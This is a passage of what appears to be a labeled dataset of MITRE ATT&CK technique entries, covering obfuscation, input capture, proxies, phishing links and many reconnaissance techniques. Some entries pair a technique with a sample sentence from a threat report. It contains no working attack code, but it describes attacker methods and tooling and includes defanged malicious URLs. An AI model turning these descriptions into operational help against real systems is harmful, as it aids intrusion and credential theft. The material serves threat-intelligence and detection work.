"ATT&CK technique: T1027 Obfuscated Files or Information\nDescription: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. Adversaries may also use compressed or archived scripts, such as JavaScript. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. Adversaries may also abuse Command Obfuscation to obscure commands executed from payloads or directly via Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.\nTactics: stealth\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: Figure 6: Obfuscated skimmer script." + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: According to Proofpoint research, while TA453 does appear to have elevated privileges allowing them to create credential harvesting pages at soasradio[.]org, other pages on the site continue to host legitimate SOAS-affiliated content." + }, + { + "id": "T1140", + "text": "ATT&CK technique: T1140 Deobfuscate/Decode Files or Information\nDescription: Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: *Figure 5: Decoded content which uses meta-refresh tag to redirect*" + }, + { + "id": "T1090", + "text": "ATT&CK technique: T1090 Proxy\nDescription: Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: The malware sets the proxy URL from the config class and uploads the below-mentioned data using the POST method." + }, + { + "id": "T1595.002", + "text": "ATT&CK technique: T1595.002 Vulnerability Scanning\nDescription: Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use. These scans may also include more broad attempts to Gather Victim Host Information that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts. Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1132", + "text": "ATT&CK technique: T1132 Data Encoding\nDescription: Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems. Some data encoding systems may also result in data compression, such as gzip.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The skimmer script has a Base64-encoded fake payment page and skimmed data is sent to the attacker-controlled domain." + }, + { + "id": "T1595.003", + "text": "ATT&CK technique: T1595.003 Wordlist Scanning\nDescription: Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to Brute Force, its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: Gather Victim Org Information, or Search Victim-Owned Websites). For example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website’s pages and directories. This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: Exploit Public-Facing Application or Brute Force). As cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure. Once storage objects are discovered, adversaries may leverage Data from Cloud Storage to access valuable information that can be exfiltrated or used to escalate privileges and move laterally.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.005", + "text": "ATT&CK technique: T1596.005 Scan Databases\nDescription: Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners. Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1571", + "text": "ATT&CK technique: T1571 Non-Standard Port\nDescription: Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data. Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: When looking for which domains have resolved to this IP address it is observed that the only one categorized as malware is related to spdns.de and searching for this domain name we come to the analysis (from @ JohnLaTwC) that shows how this domain is configured with port 535 and with HTTP requests from RAT Houdini." + }, + { + "id": "T1573.002", + "text": "ATT&CK technique: T1573.002 Asymmetric Cryptography\nDescription: Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal. For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as Asymmetric Cryptography.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: This is for several reasons: first, malicious traffic blends in more easily with legitimate traffic on standard protocols like HTTP/S; second, companies that rely on appliances for security often don’t inspect all SSL/TLS encrypted traffic as it is extremely resource-intensive to do so." + }, + { + "id": "T1595.001", + "text": "ATT&CK technique: T1595.001 Scanning IP Blocks\nDescription: Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Adversaries may scan IP blocks in order to Gather Victim Network Information, such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts. Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1590", + "text": "ATT&CK technique: T1590 Gather Victim Network Information\nDescription: Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1592", + "text": "ATT&CK technique: T1592 Gather Victim Host Information\nDescription: Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services). Adversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary’s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1592.004", + "text": "ATT&CK technique: T1592.004 Client Configurations\nDescription: Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1590.006", + "text": "ATT&CK technique: T1590.006 Network Security Appliances\nDescription: Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.004", + "text": "ATT&CK technique: T1596.004 CDNs\nDescription: Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1590.004", + "text": "ATT&CK technique: T1590.004 Network Topology\nDescription: Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1608", + "text": "ATT&CK technique: T1608 Stage Capabilities\nDescription: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications. Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site. * Staging web resources for a link target to be used with spearphishing. * Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer. * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1594", + "text": "ATT&CK technique: T1594 Search Victim-Owned Websites\nDescription: Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships. Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing). In addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as Wordlist Scanning, as well as by leveraging files such as sitemap.xml and robots.txt.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.002", + "text": "ATT&CK technique: T1593.002 Search Engines\nDescription: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1592.002", + "text": "ATT&CK technique: T1592.002 Software\nDescription: Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Additionally, adversaries may analyze metadata from victim-owned files (e.g., PDFs, DOCs, images, and sound files hosted on victim-owned websites) to extract information about the software and hardware used to create or process those files. Metadata may reveal software versions, configurations, or timestamps that indicate outdated or vulnerable software. This information can be cross-referenced with known CVEs to identify potential vectors for exploitation in future operations. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or for initial access (ex: Supply Chain Compromise or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1608.004", + "text": "ATT&CK technique: T1608.004 Drive-by Target\nDescription: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure). Adversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including: * Inserting malicious scripts into web pages or other user controllable web content such as forum posts * Modifying script files served to websites from publicly writeable cloud storage buckets * Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising) In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation. Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1593", + "text": "ATT&CK technique: T1593 Search Open Websites/Domains\nDescription: Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts. Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: External Remote Services or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1592.001", + "text": "ATT&CK technique: T1592.001 Hardware\nDescription: Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: hostnames, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Compromise Hardware Supply Chain or Hardware Additions).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.002", + "text": "ATT&CK technique: T1596.002 WHOIS\nDescription: Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers. Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.001", + "text": "ATT&CK technique: T1596.001 DNS/Passive DNS\nDescription: Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS). Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Search Victim-Owned Websites or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596", + "text": "ATT&CK technique: T1596 Search Open Technical Databases\nDescription: Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans. Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1681", + "text": "ATT&CK technique: T1681 Search Threat Vendor Data\nDescription: Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations. Adversaries have been observed replacing atomic indicators mentioned in blog posts in under a week. Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation. This technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.001", + "text": "ATT&CK technique: T1593.001 Social Media\nDescription: Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.003", + "text": "ATT&CK technique: T1596.003 Digital Certificates\nDescription: Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates. Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1480", + "text": "ATT&CK technique: T1480 Execution Guardrails\nDescription: Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign. Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses. Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical Virtualization/Sandbox Evasion. While use of Virtualization/Sandbox Evasion may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match. Adversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user's software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1597.002", + "text": "ATT&CK technique: T1597.002 Purchase Technical Data\nDescription: Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1590.005", + "text": "ATT&CK technique: T1590.005 IP Addresses\nDescription: Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1590.001", + "text": "ATT&CK technique: T1590.001 Domain Properties\nDescription: Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: WHOIS). Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases, Search Open Websites/Domains, or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1518", + "text": "ATT&CK technique: T1518 Software Discovery\nDescription: Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Such software may be deployed widely across the environment for configuration management or security reasons, such as Software Deployment Tools, and may allow adversaries broad access to infect devices or move laterally. Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to Exploitation for Privilege Escalation.\nTactics: discovery\nPlatforms: ESXi, IaaS, Linux, Windows, macOS" + }, + { + "id": "T1590.003", + "text": "ATT&CK technique: T1590.003 Network Trust Dependencies\nDescription: Adversaries may gather information about the 